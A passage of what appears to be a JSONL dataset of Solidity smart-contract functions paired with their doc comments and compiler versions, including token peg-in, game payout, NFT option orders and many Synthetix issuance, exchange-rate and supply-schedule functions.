{\r\n require(amount > 0, \"Token amount must be greater than zero!\");\r\n (bytes32 tag, string memory _destinationAddress) = abi.decode(userData, (bytes32, string));\r\n require(tag == keccak256(\"ERC777-pegIn\"), \"Invalid tag for automatic pegIn on ERC777 send\");\r\n emit PegIn(_tokenAddress, from, amount, _destinationAddress);\r\n }\r\n }", "version": "0.6.2"} {"comment": "// Called to reward current KOTH winner and start new game", "function_code": "function rewardKoth() public {\r\n if (msg.sender == feeAddress && lastBlock > 0 && block.number > lastBlock) {\r\n uint fee = pot / 20; // 5%\r\n KothWin(gameId, betId, koth, highestBet, pot, fee, firstBlock, lastBlock);\r\n\r\n uint netPot = pot - fee;\r\n address winner = koth;\r\n resetKoth();\r\n winner.transfer(netPot);\r\n\r\n // Make sure we never go below minPot\r\n if (this.balance - fee >= minPot) {\r\n feeAddress.transfer(fee);\r\n }\r\n }\r\n }", "version": "0.4.16"} {"comment": "//a new 'block' to be mined", "function_code": "function _startNewMiningEpoch() internal \r\n {\r\n //if max supply for the era will be exceeded next reward round then enter the new era before that happens\r\n //4 is the final reward era, almost all tokens minted\r\n //once the final era is reached, more tokens will not be given out because the assert function\r\n\r\n if( tokensMinted.add(getMiningReward()) > maxSupplyForEra && rewardEra < 12)\r\n {\r\n rewardEra = rewardEra + 1;\r\n maxSupplyForEra = eraVsMaxSupplyFactor[rewardEra].mul(1000000000) * 10**uint(decimals);\r\n }\r\n\r\n epochCount = epochCount.add(1);\r\n\r\n //every so often, readjust difficulty. Dont readjust when deploying\r\n if(epochCount % _BLOCKS_PER_READJUSTMENT == 0)\r\n {\r\n _reAdjustDifficulty();\r\n }\r\n\r\n //make the latest ethereum block hash a part of the next challenge for PoW to prevent pre-mining future blocks\r\n //do this last since this is a protection mechanism in the mint() function\r\n challengeNumber = block.blockhash(block.number - 1);\r\n }", "version": "0.4.18"} {"comment": "//10,000,000,000 coins total\n//reward begins at 100,000 and is cut in half every reward era (as tokens are mined)", "function_code": "function getMiningReward() public constant returns (uint) \r\n {\r\n //once we get half way thru the coins, only get 50,000 per block\r\n //every reward era, the reward amount halves.\r\n return (100000 * 10**uint(decimals) ).div(5).mul(eraVsMaxSupplyFactor[rewardEra]) ;\r\n }", "version": "0.4.18"} {"comment": "/// @notice Create an option order for a given NFT\n/// @param optionPrice the price of the option\n/// @param strikePrice the strike price of the option\n/// @param settlementTimestamp the option maturity timestamp\n/// @param nftId the token ID of the NFT relevant of this order\n/// @param nftContract the address of the NFT contract\n/// @param optionType the type of the option (CallBuy, CallSale, PutBuy or PutSale)", "function_code": "function makeOrder(\r\n uint256 optionPrice,\r\n uint256 strikePrice,\r\n uint256 settlementTimestamp,\r\n uint256 nftId,\r\n address nftContract,\r\n NFTeacket.OptionType optionType\r\n ) external payable onlyWhenNFTeacketSet {\r\n require(\r\n settlementTimestamp > block.timestamp,\r\n \"NFTea: Incorrect timestamp\"\r\n );\r\n\r\n if (optionType == NFTeacket.OptionType.CallBuy) {\r\n _requireEthSent(optionPrice);\r\n } else if (optionType == NFTeacket.OptionType.CallSale) {\r\n _requireEthSent(0);\r\n _lockNft(nftId, nftContract);\r\n } else if (optionType == NFTeacket.OptionType.PutBuy) {\r\n _requireEthSent(optionPrice);\r\n } else {\r\n // OptionType.Putsale\r\n _requireEthSent(strikePrice);\r\n }\r\n\r\n NFTeacket.OptionDataMaker memory data = NFTeacket.OptionDataMaker({\r\n price: optionPrice,\r\n strike: strikePrice,\r\n settlementTimestamp: settlementTimestamp,\r\n nftId: nftId,\r\n nftContract: nftContract,\r\n takerTicketId: 0,\r\n optionType: optionType\r\n });\r\n\r\n uint256 makerTicketId = NFTeacket(nfteacket).mintMakerTicket(\r\n msg.sender,\r\n data\r\n );\r\n\r\n emit OrderCreated(makerTicketId, data);\r\n }", "version": "0.8.4"} {"comment": "/// @notice Cancel a non filled order\n/// @param makerTicketId the ticket ID associated with the order", "function_code": "function cancelOrder(uint256 makerTicketId) external onlyWhenNFTeacketSet {\r\n NFTeacket _nfteacket = NFTeacket(nfteacket);\r\n\r\n // Check the seender is the maker\r\n _requireTicketOwner(msg.sender, makerTicketId);\r\n\r\n NFTeacket.OptionDataMaker memory optionData = _nfteacket\r\n .ticketIdToOptionDataMaker(makerTicketId);\r\n\r\n require(optionData.takerTicketId == 0, \"NFTea: Order already filled\");\r\n\r\n if (optionData.optionType == NFTeacket.OptionType.CallBuy) {\r\n _transferEth(msg.sender, optionData.price);\r\n } else if (optionData.optionType == NFTeacket.OptionType.CallSale) {\r\n _transferNft(\r\n address(this),\r\n msg.sender,\r\n optionData.nftId,\r\n optionData.nftContract\r\n );\r\n } else if (optionData.optionType == NFTeacket.OptionType.PutBuy) {\r\n _transferEth(msg.sender, optionData.price);\r\n } else {\r\n // OptionType.Putsale\r\n _transferEth(msg.sender, optionData.strike);\r\n }\r\n\r\n _nfteacket.burnTicket(makerTicketId);\r\n\r\n emit OrderCancelled(makerTicketId);\r\n }", "version": "0.8.4"} {"comment": "/// @dev When a trader wants to sell a call, he has to lock his NFT\n/// until maturity\n/// @param nftId the token ID of the NFT to lock\n/// @param nftContractAddress address of the NFT contract", "function_code": "function _lockNft(uint256 nftId, address nftContractAddress) private {\r\n IERC721 nftContract = IERC721(nftContractAddress);\r\n address owner = nftContract.ownerOf(nftId);\r\n\r\n require(owner == msg.sender, \"NFTea : Not nft owner\");\r\n\r\n require(\r\n address(this) == owner ||\r\n nftContract.getApproved(nftId) == address(this) ||\r\n nftContract.isApprovedForAll(owner, address(this)),\r\n \"NFTea : Contract not approved, can't lock nft\"\r\n );\r\n\r\n // Lock the nft by transfering it to the contract\r\n nftContract.transferFrom(msg.sender, address(this), nftId);\r\n }", "version": "0.8.4"} {"comment": "/**\r\n * @dev See {ERC20-_beforeTokenTransfer}.\r\n *\r\n * Requirements:\r\n *\r\n * - minted tokens must not cause the total supply to go over the cap.\r\n */", "function_code": "function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override {\r\n super._beforeTokenTransfer(from, to, amount);\r\n\r\n if (from == address(0)) { // When minting tokens\r\n require(totalSupply().add(amount) <= cap(), \"ERC20Capped: cap exceeded\");\r\n }\r\n }", "version": "0.6.12"} {"comment": "/* mapping (uint => address) public wikiToOwner;\r\n mapping (address => uint) ownerWikiCount; */", "function_code": "function createWikiPage(string _title, string _articleHash, string _imageHash, uint _price) public onlyOwner returns (uint) {\r\n uint id = wikiPages.push(WikiPage(_title, _articleHash, _imageHash, _price)) - 1;\r\n /* tokenOwner[id] = msg.sender;\r\n ownedTokensCount[msg.sender]++; */\r\n _ownMint(id);\r\n }", "version": "0.4.23"} {"comment": "/**\n * @return The result of safely multiplying x and y, interpreting the operands\n * as fixed-point decimals of the specified precision unit.\n *\n * @dev The operands should be in the form of a the specified unit factor which will be\n * divided out after the product of x and y is evaluated, so that product must be\n * less than 2**256.\n *\n * Unlike multiplyDecimal, this function rounds the result to the nearest increment.\n * Rounding is useful when you need to retain fidelity for small decimal numbers\n * (eg. small fractions or percentages).\n */", "function_code": "function _multiplyDecimalRound(uint x, uint y, uint precisionUnit)\n private\n pure\n returns (uint)\n {\n /* Divide by UNIT to remove the extra factor introduced by the product. */\n uint quotientTimesTen = x.mul(y) / (precisionUnit / 10);\n\n if (quotientTimesTen % 10 >= 5) {\n quotientTimesTen += 10;\n }\n\n return quotientTimesTen / 10;\n }", "version": "0.4.25"} {"comment": "/**\n * @return The result of safely dividing x and y. The return value is as a rounded\n * decimal in the precision unit specified in the parameter.\n *\n * @dev y is divided after the product of x and the specified precision unit\n * is evaluated, so the product of x and the specified precision unit must\n * be less than 2**256. The result is rounded to the nearest increment.\n */", "function_code": "function _divideDecimalRound(uint x, uint y, uint precisionUnit)\n private\n pure\n returns (uint)\n {\n uint resultTimesTen = x.mul(precisionUnit * 10).div(y);\n\n if (resultTimesTen % 10 >= 5) {\n resultTimesTen += 10;\n }\n\n return resultTimesTen / 10;\n }", "version": "0.4.25"} {"comment": "/**\n * @dev Convert a high precision decimal to a standard decimal representation.\n */", "function_code": "function preciseDecimalToDecimal(uint i)\n internal\n pure\n returns (uint)\n {\n uint quotientTimesTen = i / (UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR / 10);\n\n if (quotientTimesTen % 10 >= 5) {\n quotientTimesTen += 10;\n }\n\n return quotientTimesTen / 10;\n }", "version": "0.4.25"} {"comment": "/**\n * @dev Perform an ERC20 token transferFrom. Designed to be called by transferFrom functions\n * possessing the optionalProxy or optionalProxy modifiers.\n */", "function_code": "function _transferFrom_byProxy(address sender, address from, address to, uint value)\n internal\n returns (bool)\n {\n /* Insufficient allowance will be handled by the safe subtraction. */\n tokenState.setAllowance(from, sender, tokenState.allowance(from, sender).sub(value));\n return _internalTransfer(from, to, value);\n }", "version": "0.4.25"} {"comment": "/**\n * @dev Uses \"exponentiation by squaring\" algorithm where cost is 0(logN)\n * vs 0(N) for naive repeated multiplication.\n * Calculates x^n with x as fixed-point and n as regular unsigned int.\n * Calculates to 18 digits of precision with SafeDecimalMath.unit()\n */", "function_code": "function powDecimal(uint x, uint n)\n internal\n pure\n returns (uint)\n {\n // https://mpark.github.io/programming/2014/08/18/exponentiation-by-squaring/\n\n uint result = SafeDecimalMath.unit();\n while (n > 0) {\n if (n % 2 != 0) {\n result = result.multiplyDecimal(x);\n }\n x = x.multiplyDecimal(x);\n n /= 2;\n }\n return result;\n }", "version": "0.4.25"} {"comment": "/**\n * @notice ERC20 transferFrom function\n */", "function_code": "function transferFrom(address from, address to, uint value)\n public\n optionalProxy\n returns (bool)\n { \n // Skip allowance update in case of infinite allowance\n if (tokenState.allowance(from, messageSender) != uint(-1)) {\n // Reduce the allowance by the amount we're transferring.\n // The safeSub call will handle an insufficient allowance.\n tokenState.setAllowance(from, messageSender, tokenState.allowance(from, messageSender).sub(value));\n }\n \n return super._internalTransfer(from, to, value);\n }", "version": "0.4.25"} {"comment": "/**\n * @return A unit amount of decaying inflationary supply from the INITIAL_WEEKLY_SUPPLY\n * @dev New token supply reduces by the decay rate each week calculated as supply = INITIAL_WEEKLY_SUPPLY * ()\n */", "function_code": "function tokenDecaySupplyForWeek(uint counter)\n public \n pure\n returns (uint)\n { \n // Apply exponential decay function to number of weeks since\n // start of inflation smoothing to calculate diminishing supply for the week.\n uint effectiveDecay = (SafeDecimalMath.unit().sub(DECAY_RATE)).powDecimal(counter);\n uint supplyForWeek = INITIAL_WEEKLY_SUPPLY.multiplyDecimal(effectiveDecay);\n\n return supplyForWeek;\n }", "version": "0.4.25"} {"comment": "/**\n * @return A unit amount of terminal inflation supply\n * @dev Weekly compound rate based on number of weeks\n */", "function_code": "function terminalInflationSupply(uint totalSupply, uint numOfWeeks)\n public\n pure\n returns (uint)\n { \n // rate = (1 + weekly rate) ^ num of weeks\n uint effectiveCompoundRate = SafeDecimalMath.unit().add(TERMINAL_SUPPLY_RATE_ANNUAL.div(52)).powDecimal(numOfWeeks);\n\n // return Supply * (effectiveRate - 1) for extra supply to issue based on number of weeks\n return totalSupply.multiplyDecimal(effectiveCompoundRate.sub(SafeDecimalMath.unit()));\n }", "version": "0.4.25"} {"comment": "/**\n * @dev Take timeDiff in seconds (Dividend) and MINT_PERIOD_DURATION as (Divisor)\n * @return Calculate the numberOfWeeks since last mint rounded down to 1 week\n */", "function_code": "function weeksSinceLastIssuance()\n public\n view\n returns (uint)\n {\n // Get weeks since lastMintEvent\n // If lastMintEvent not set or 0, then start from inflation start date.\n uint timeDiff = lastMintEvent > 0 ? now.sub(lastMintEvent) : now.sub(INFLATION_START_DATE);\n return timeDiff.div(MINT_PERIOD_DURATION);\n }", "version": "0.4.25"} {"comment": "/**\n * @notice Record the mint event from Synthetix by incrementing the inflation\n * week counter for the number of weeks minted (probabaly always 1)\n * and store the time of the event.\n * @param supplyMinted the amount of SNX the total supply was inflated by.\n * */", "function_code": "function recordMintEvent(uint supplyMinted)\n external\n onlySynthetix\n returns (bool)\n {\n uint numberOfWeeksIssued = weeksSinceLastIssuance();\n\n // add number of weeks minted to weekCounter\n weekCounter = weekCounter.add(numberOfWeeksIssued);\n\n // Update mint event to latest week issued (start date + number of weeks issued * seconds in week)\n // 1 day time buffer is added so inflation is minted after feePeriod closes \n lastMintEvent = INFLATION_START_DATE.add(weekCounter.mul(MINT_PERIOD_DURATION)).add(MINT_BUFFER);\n\n emit SupplyMinted(supplyMinted, numberOfWeeksIssued, lastMintEvent, now);\n return true;\n }", "version": "0.4.25"} {"comment": "/**\n * @notice Retrieve the last update time for a list of currencies\n */", "function_code": "function lastRateUpdateTimesForCurrencies(bytes32[] currencyKeys)\n public\n view\n returns (uint[])\n {\n uint[] memory lastUpdateTimes = new uint[](currencyKeys.length);\n\n for (uint i = 0; i < currencyKeys.length; i++) {\n lastUpdateTimes[i] = lastRateUpdateTimes(currencyKeys[i]);\n }\n\n return lastUpdateTimes;\n }", "version": "0.4.25"} {"comment": "/**\n * @notice Remove an inverse price for the currency key\n * @param currencyKey The currency to remove inverse pricing for\n */", "function_code": "function removeInversePricing(bytes32 currencyKey) external onlyOwner\n {\n require(inversePricing[currencyKey].entryPoint > 0, \"No inverted price exists\");\n\n inversePricing[currencyKey].entryPoint = 0;\n inversePricing[currencyKey].upperLimit = 0;\n inversePricing[currencyKey].lowerLimit = 0;\n inversePricing[currencyKey].frozen = false;\n\n // now remove inverted key from array\n bool wasRemoved = removeFromArray(currencyKey, invertedKeys);\n\n if (wasRemoved) {\n emit InversePriceConfigured(currencyKey, 0, 0, 0);\n }\n }", "version": "0.4.25"} {"comment": "/**\n * @notice Add a pricing aggregator for the given key. Note: existing aggregators may be overridden.\n * @param currencyKey The currency key to add an aggregator for\n */", "function_code": "function addAggregator(bytes32 currencyKey, address aggregatorAddress) external onlyOwner {\n AggregatorInterface aggregator = AggregatorInterface(aggregatorAddress);\n require(aggregator.latestTimestamp() >= 0, \"Given Aggregator is invalid\");\n if (aggregators[currencyKey] == address(0)) {\n aggregatorKeys.push(currencyKey);\n }\n aggregators[currencyKey] = aggregator;\n emit AggregatorAdded(currencyKey, aggregator);\n }", "version": "0.4.25"} {"comment": "/**\n * @notice Remove a single value from an array by iterating through until it is found.\n * @param entry The entry to find\n * @param array The array to mutate\n * @return bool Whether or not the entry was found and removed\n */", "function_code": "function removeFromArray(bytes32 entry, bytes32[] storage array) internal returns (bool) {\n for (uint i = 0; i < array.length; i++) {\n if (array[i] == entry) {\n delete array[i];\n\n // Copy the last key into the place of the one we just deleted\n // If there's only one key, this is array[0] = array[0].\n // If we're deleting the last one, it's also a NOOP in the same way.\n array[i] = array[array.length - 1];\n\n // Decrease the size of the array by one.\n array.length--;\n\n return true;\n }\n }\n return false;\n }", "version": "0.4.25"} {"comment": "/**\n * @notice Remove a pricing aggregator for the given key\n * @param currencyKey THe currency key to remove an aggregator for\n */", "function_code": "function removeAggregator(bytes32 currencyKey) external onlyOwner {\n address aggregator = aggregators[currencyKey];\n require(aggregator != address(0), \"No aggregator exists for key\");\n delete aggregators[currencyKey];\n\n bool wasRemoved = removeFromArray(currencyKey, aggregatorKeys);\n\n if (wasRemoved) {\n emit AggregatorRemoved(currencyKey, aggregator);\n }\n }", "version": "0.4.25"} {"comment": "/**\n * @notice A function that lets you easily convert an amount in a source currency to an amount in the destination currency\n * @param sourceCurrencyKey The currency the amount is specified in\n * @param sourceAmount The source amount, specified in UNIT base\n * @param destinationCurrencyKey The destination currency\n */", "function_code": "function effectiveValue(bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey)\n public\n view\n rateNotStale(sourceCurrencyKey)\n rateNotStale(destinationCurrencyKey)\n returns (uint)\n {\n // If there's no change in the currency, then just return the amount they gave us\n if (sourceCurrencyKey == destinationCurrencyKey) return sourceAmount;\n\n // Calculate the effective value by going from source -> USD -> destination\n return sourceAmount.multiplyDecimalRound(rateForCurrency(sourceCurrencyKey))\n .divideDecimalRound(rateForCurrency(destinationCurrencyKey));\n }", "version": "0.4.25"} {"comment": "/**\n * @notice Retrieve the rates for a list of currencies\n */", "function_code": "function ratesForCurrencies(bytes32[] currencyKeys)\n public\n view\n returns (uint[])\n {\n uint[] memory _localRates = new uint[](currencyKeys.length);\n\n for (uint i = 0; i < currencyKeys.length; i++) {\n _localRates[i] = rates(currencyKeys[i]);\n }\n\n return _localRates;\n }", "version": "0.4.25"} {"comment": "/**\n * @notice Retrieve the rates and isAnyStale for a list of currencies\n */", "function_code": "function ratesAndStaleForCurrencies(bytes32[] currencyKeys)\n public\n view\n returns (uint[], bool)\n {\n uint[] memory _localRates = new uint[](currencyKeys.length);\n\n bool anyRateStale = false;\n uint period = rateStalePeriod;\n for (uint i = 0; i < currencyKeys.length; i++) {\n RateAndUpdatedTime memory rateAndUpdateTime = getRateAndUpdatedTime(currencyKeys[i]);\n _localRates[i] = uint256(rateAndUpdateTime.rate);\n if (!anyRateStale) {\n anyRateStale = (currencyKeys[i] != \"sUSD\" && uint256(rateAndUpdateTime.time).add(period) < now);\n }\n }\n\n return (_localRates, anyRateStale);\n }", "version": "0.4.25"} {"comment": "/**\n * @notice Check if any of the currency rates passed in haven't been updated for longer than the stale period.\n */", "function_code": "function anyRateIsStale(bytes32[] currencyKeys)\n external\n view\n returns (bool)\n {\n // Loop through each key and check whether the data point is stale.\n uint256 i = 0;\n\n while (i < currencyKeys.length) {\n // sUSD is a special case and is never false\n if (currencyKeys[i] != \"sUSD\" && lastRateUpdateTimes(currencyKeys[i]).add(rateStalePeriod) < now) {\n return true;\n }\n i += 1;\n }\n\n return false;\n }", "version": "0.4.25"} {"comment": "/**\n * @notice Add an associated Synth contract to the Synthetix system\n * @dev Only the contract owner may call this.\n */", "function_code": "function addSynth(Synth synth)\n external\n optionalProxy_onlyOwner\n {\n bytes32 currencyKey = synth.currencyKey();\n\n require(synths[currencyKey] == Synth(0), \"Synth already exists\");\n require(synthsByAddress[synth] == bytes32(0), \"Synth address already exists\");\n\n availableSynths.push(synth);\n synths[currencyKey] = synth;\n synthsByAddress[synth] = currencyKey;\n }", "version": "0.4.25"} {"comment": "/**\n * @notice Total amount of synths issued by the system, priced in currencyKey\n * @param currencyKey The currency to value the synths in\n */", "function_code": "function totalIssuedSynths(bytes32 currencyKey)\n public\n view\n returns (uint)\n {\n uint total = 0;\n uint currencyRate = exchangeRates.rateForCurrency(currencyKey);\n\n (uint[] memory rates, bool anyRateStale) = exchangeRates.ratesAndStaleForCurrencies(availableCurrencyKeys());\n require(!anyRateStale, \"Rates are stale\");\n\n for (uint i = 0; i < availableSynths.length; i++) {\n // What's the total issued value of that synth in the destination currency?\n // Note: We're not using our effectiveValue function because we don't want to go get the\n // rate for the destination currency and check if it's stale repeatedly on every\n // iteration of the loop\n uint synthValue = availableSynths[i].totalSupply()\n .multiplyDecimalRound(rates[i]);\n total = total.add(synthValue);\n }\n\n return total.divideDecimalRound(currencyRate);\n }", "version": "0.4.25"} {"comment": "/**\n * @notice Determine the effective fee rate for the exchange, taking into considering swing trading\n */", "function_code": "function feeRateForExchange(bytes32 sourceCurrencyKey, bytes32 destinationCurrencyKey)\n public\n view\n returns (uint)\n {\n // Get the base exchange fee rate\n uint exchangeFeeRate = feePool.exchangeFeeRate();\n\n uint multiplier = 1;\n\n // Is this a swing trade? I.e. long to short or vice versa, excluding when going into or out of sUSD.\n // Note: this assumes shorts begin with 'i' and longs with 's'.\n if (\n (sourceCurrencyKey[0] == 0x73 && sourceCurrencyKey != \"sUSD\" && destinationCurrencyKey[0] == 0x69) ||\n (sourceCurrencyKey[0] == 0x69 && destinationCurrencyKey != \"sUSD\" && destinationCurrencyKey[0] == 0x73)\n ) {\n // If so then double the exchange fee multipler\n multiplier = 2;\n }\n\n return exchangeFeeRate.mul(multiplier);\n }", "version": "0.4.25"} {"comment": "/**\n * @notice ERC20 transfer function.\n */", "function_code": "function transfer(address to, uint value)\n public\n optionalProxy\n returns (bool)\n {\n // Ensure they're not trying to exceed their staked SNX amount\n require(value <= transferableSynthetix(messageSender), \"Cannot transfer staked or escrowed SNX\");\n\n // Perform the transfer: if there is a problem an exception will be thrown in this call.\n _transfer_byProxy(messageSender, to, value);\n\n return true;\n }", "version": "0.4.25"} {"comment": "// mint the reserve tokens for later airdroping", "function_code": "function mintReserve( uint _mType, address _to, string memory _uri ) public onlyRole(MINTER_ROLE) {\n\n // Mint reserve supply\n uint quantity = _reservedSupply[_mType];\n require( quantity > 0, \"M10: already minted\" ); \n\n _mintTokens( _mType, quantity, _to, _uri, true );\n\n // erase the reserve\n _reservedSupply[_mType] = 0;\n }", "version": "0.8.9"} {"comment": "/**\n * @notice Function that allows you to exchange synths you hold in one flavour for another.\n * @param sourceCurrencyKey The source currency you wish to exchange from\n * @param sourceAmount The amount, specified in UNIT of source currency you wish to exchange\n * @param destinationCurrencyKey The destination currency you wish to obtain.\n * @return Boolean that indicates whether the transfer succeeded or failed.\n */", "function_code": "function exchange(bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey)\n external\n optionalProxy\n // Note: We don't need to insist on non-stale rates because effectiveValue will do it for us.\n returns (bool)\n {\n require(sourceCurrencyKey != destinationCurrencyKey, \"Can't be same synth\");\n require(sourceAmount > 0, \"Zero amount\");\n\n // verify gas price limit\n validateGasPrice(tx.gasprice);\n\n // If the oracle has set protectionCircuit to true then burn the synths\n if (protectionCircuit) {\n synths[sourceCurrencyKey].burn(messageSender, sourceAmount);\n return true;\n } else {\n // Pass it along, defaulting to the sender as the recipient.\n return _internalExchange(\n messageSender,\n sourceCurrencyKey,\n sourceAmount,\n destinationCurrencyKey,\n messageSender,\n true // Charge fee on the exchange\n );\n }\n }", "version": "0.4.25"} {"comment": "/**\n * @notice Function that allows synth contract to delegate exchanging of a synth that is not the same sourceCurrency\n * @dev Only the synth contract can call this function\n * @param from The address to exchange / burn synth from\n * @param sourceCurrencyKey The source currency you wish to exchange from\n * @param sourceAmount The amount, specified in UNIT of source currency you wish to exchange\n * @param destinationCurrencyKey The destination currency you wish to obtain.\n * @param destinationAddress Where the result should go.\n * @return Boolean that indicates whether the transfer succeeded or failed.\n */", "function_code": "function synthInitiatedExchange(\n address from,\n bytes32 sourceCurrencyKey,\n uint sourceAmount,\n bytes32 destinationCurrencyKey,\n address destinationAddress\n )\n external\n optionalProxy\n returns (bool)\n {\n require(synthsByAddress[messageSender] != bytes32(0), \"Only synth allowed\");\n require(sourceCurrencyKey != destinationCurrencyKey, \"Can't be same synth\");\n require(sourceAmount > 0, \"Zero amount\");\n\n // Pass it along\n return _internalExchange(\n from,\n sourceCurrencyKey,\n sourceAmount,\n destinationCurrencyKey,\n destinationAddress,\n false\n );\n }", "version": "0.4.25"} {"comment": "/**\n * @notice Issue synths against the sender's SNX.\n * @dev Issuance is only allowed if the synthetix price isn't stale. Amount should be larger than 0.\n * @param amount The amount of synths you wish to issue with a base of UNIT\n */", "function_code": "function issueSynths(uint amount)\n public\n optionalProxy\n // No need to check if price is stale, as it is checked in issuableSynths.\n {\n bytes32 currencyKey = \"sUSD\";\n\n require(amount <= remainingIssuableSynths(messageSender, currencyKey), \"Amount too large\");\n\n // Keep track of the debt they're about to create\n _addToDebtRegister(currencyKey, amount);\n\n // Create their synths\n synths[currencyKey].issue(messageSender, amount);\n\n // Store their locked SNX amount to determine their fee % for the period\n _appendAccountIssuanceRecord();\n }", "version": "0.4.25"} {"comment": "/**\n * @notice Issue the maximum amount of Synths possible against the sender's SNX.\n * @dev Issuance is only allowed if the synthetix price isn't stale.\n */", "function_code": "function issueMaxSynths()\n external\n optionalProxy\n {\n bytes32 currencyKey = \"sUSD\";\n\n // Figure out the maximum we can issue in that currency\n uint maxIssuable = remainingIssuableSynths(messageSender, currencyKey);\n\n // Keep track of the debt they're about to create\n _addToDebtRegister(currencyKey, maxIssuable);\n\n // Create their synths\n synths[currencyKey].issue(messageSender, maxIssuable);\n\n // Store their locked SNX amount to determine their fee % for the period\n _appendAccountIssuanceRecord();\n }", "version": "0.4.25"} {"comment": "/**\n * @notice Burn synths to clear issued synths/free SNX.\n * @param amount The amount (in UNIT base) you wish to burn\n * @dev The amount to burn is debased to XDR's\n */", "function_code": "function burnSynths(uint amount)\n external\n optionalProxy\n // No need to check for stale rates as effectiveValue checks rates\n {\n bytes32 currencyKey = \"sUSD\";\n\n // How much debt do they have?\n uint debtToRemove = effectiveValue(currencyKey, amount, \"XDR\");\n uint existingDebt = debtBalanceOf(messageSender, \"XDR\");\n\n uint debtInCurrencyKey = debtBalanceOf(messageSender, currencyKey);\n\n require(existingDebt > 0, \"No debt to forgive\");\n\n // If they're trying to burn more debt than they actually owe, rather than fail the transaction, let's just\n // clear their debt and leave them be.\n uint amountToRemove = existingDebt < debtToRemove ? existingDebt : debtToRemove;\n\n // Remove their debt from the ledger\n _removeFromDebtRegister(amountToRemove, existingDebt);\n\n uint amountToBurn = debtInCurrencyKey < amount ? debtInCurrencyKey : amount;\n\n // synth.burn does a safe subtraction on balance (so it will revert if there are not enough synths).\n synths[currencyKey].burn(messageSender, amountToBurn);\n\n // Store their debtRatio against a feeperiod to determine their fee/rewards % for the period\n _appendAccountIssuanceRecord();\n }", "version": "0.4.25"} {"comment": "/**\n * @notice The maximum synths an issuer can issue against their total synthetix quantity, priced in XDRs.\n * This ignores any already issued synths, and is purely giving you the maximimum amount the user can issue.\n */", "function_code": "function maxIssuableSynths(address issuer, bytes32 currencyKey)\n public\n view\n // We don't need to check stale rates here as effectiveValue will do it for us.\n returns (uint)\n {\n // What is the value of their SNX balance in the destination currency?\n uint destinationValue = effectiveValue(\"SNX\", collateral(issuer), currencyKey);\n\n // They're allowed to issue up to issuanceRatio of that value\n return destinationValue.multiplyDecimal(synthetixState.issuanceRatio());\n }", "version": "0.4.25"} {"comment": "/**\n * @notice If a user issues synths backed by SNX in their wallet, the SNX become locked. This function\n * will tell you how many synths a user has to give back to the system in order to unlock their original\n * debt position. This is priced in whichever synth is passed in as a currency key, e.g. you can price\n * the debt in sUSD, XDR, or any other synth you wish.\n */", "function_code": "function debtBalanceOf(address issuer, bytes32 currencyKey)\n public\n view\n // Don't need to check for stale rates here because totalIssuedSynths will do it for us\n returns (uint)\n {\n // What was their initial debt ownership?\n uint initialDebtOwnership;\n uint debtEntryIndex;\n (initialDebtOwnership, debtEntryIndex) = synthetixState.issuanceData(issuer);\n\n // If it's zero, they haven't issued, and they have no debt.\n if (initialDebtOwnership == 0) return 0;\n\n // Figure out the global debt percentage delta from when they entered the system.\n // This is a high precision integer of 27 (1e27) decimals.\n uint currentDebtOwnership = synthetixState.lastDebtLedgerEntry()\n .divideDecimalRoundPrecise(synthetixState.debtLedger(debtEntryIndex))\n .multiplyDecimalRoundPrecise(initialDebtOwnership);\n\n // What's the total value of the system in their requested currency?\n uint totalSystemValue = totalIssuedSynths(currencyKey);\n\n // Their debt balance is their portion of the total system value.\n uint highPrecisionBalance = totalSystemValue.decimalToPreciseDecimal()\n .multiplyDecimalRoundPrecise(currentDebtOwnership);\n\n // Convert back into 18 decimals (1e18)\n return highPrecisionBalance.preciseDecimalToDecimal();\n }", "version": "0.4.25"} {"comment": "/**\n * @notice The remaining synths an issuer can issue against their total synthetix balance.\n * @param issuer The account that intends to issue\n * @param currencyKey The currency to price issuable value in\n */", "function_code": "function remainingIssuableSynths(address issuer, bytes32 currencyKey)\n public\n view\n // Don't need to check for synth existing or stale rates because maxIssuableSynths will do it for us.\n returns (uint)\n {\n uint alreadyIssued = debtBalanceOf(issuer, currencyKey);\n uint max = maxIssuableSynths(issuer, currencyKey);\n\n if (alreadyIssued >= max) {\n return 0;\n } else {\n return max.sub(alreadyIssued);\n }\n }", "version": "0.4.25"} {"comment": "/**\n * @notice The total SNX owned by this account, both escrowed and unescrowed,\n * against which synths can be issued.\n * This includes those already being used as collateral (locked), and those\n * available for further issuance (unlocked).\n */", "function_code": "function collateral(address account)\n public\n view\n returns (uint)\n {\n uint balance = tokenState.balanceOf(account);\n\n if (escrow != address(0)) {\n balance = balance.add(escrow.balanceOf(account));\n }\n\n if (rewardEscrow != address(0)) {\n balance = balance.add(rewardEscrow.balanceOf(account));\n }\n\n return balance;\n }", "version": "0.4.25"} {"comment": "/**\n * @notice The number of SNX that are free to be transferred for an account.\n * @dev Escrowed SNX are not transferable, so they are not included\n * in this calculation.\n * @notice SNX rate not stale is checked within debtBalanceOf\n */", "function_code": "function transferableSynthetix(address account)\n public\n view\n rateNotStale(\"SNX\") // SNX is not a synth so is not checked in totalIssuedSynths\n returns (uint)\n {\n // How many SNX do they have, excluding escrow?\n // Note: We're excluding escrow here because we're interested in their transferable amount\n // and escrowed SNX are not transferable.\n uint balance = tokenState.balanceOf(account);\n\n // How many of those will be locked by the amount they've issued?\n // Assuming issuance ratio is 20%, then issuing 20 SNX of value would require\n // 100 SNX to be locked in their wallet to maintain their collateralisation ratio\n // The locked synthetix value can exceed their balance.\n uint lockedSynthetixValue = debtBalanceOf(account, \"SNX\").divideDecimalRound(synthetixState.issuanceRatio());\n\n // If we exceed the balance, no SNX are transferable, otherwise the difference is.\n if (lockedSynthetixValue >= balance) {\n return 0;\n } else {\n return balance.sub(lockedSynthetixValue);\n }\n }", "version": "0.4.25"} {"comment": "/**\n * @notice Mints the inflationary SNX supply. The inflation shedule is\n * defined in the SupplySchedule contract.\n * The mint() function is publicly callable by anyone. The caller will\n receive a minter reward as specified in supplySchedule.minterReward().\n */", "function_code": "function mint()\n external\n returns (bool)\n {\n require(rewardsDistribution != address(0), \"RewardsDistribution not set\");\n\n uint supplyToMint = supplySchedule.mintableSupply();\n require(supplyToMint > 0, \"No supply is mintable\");\n\n // record minting event before mutation to token supply\n supplySchedule.recordMintEvent(supplyToMint);\n\n // Set minted SNX balance to RewardEscrow's balance\n // Minus the 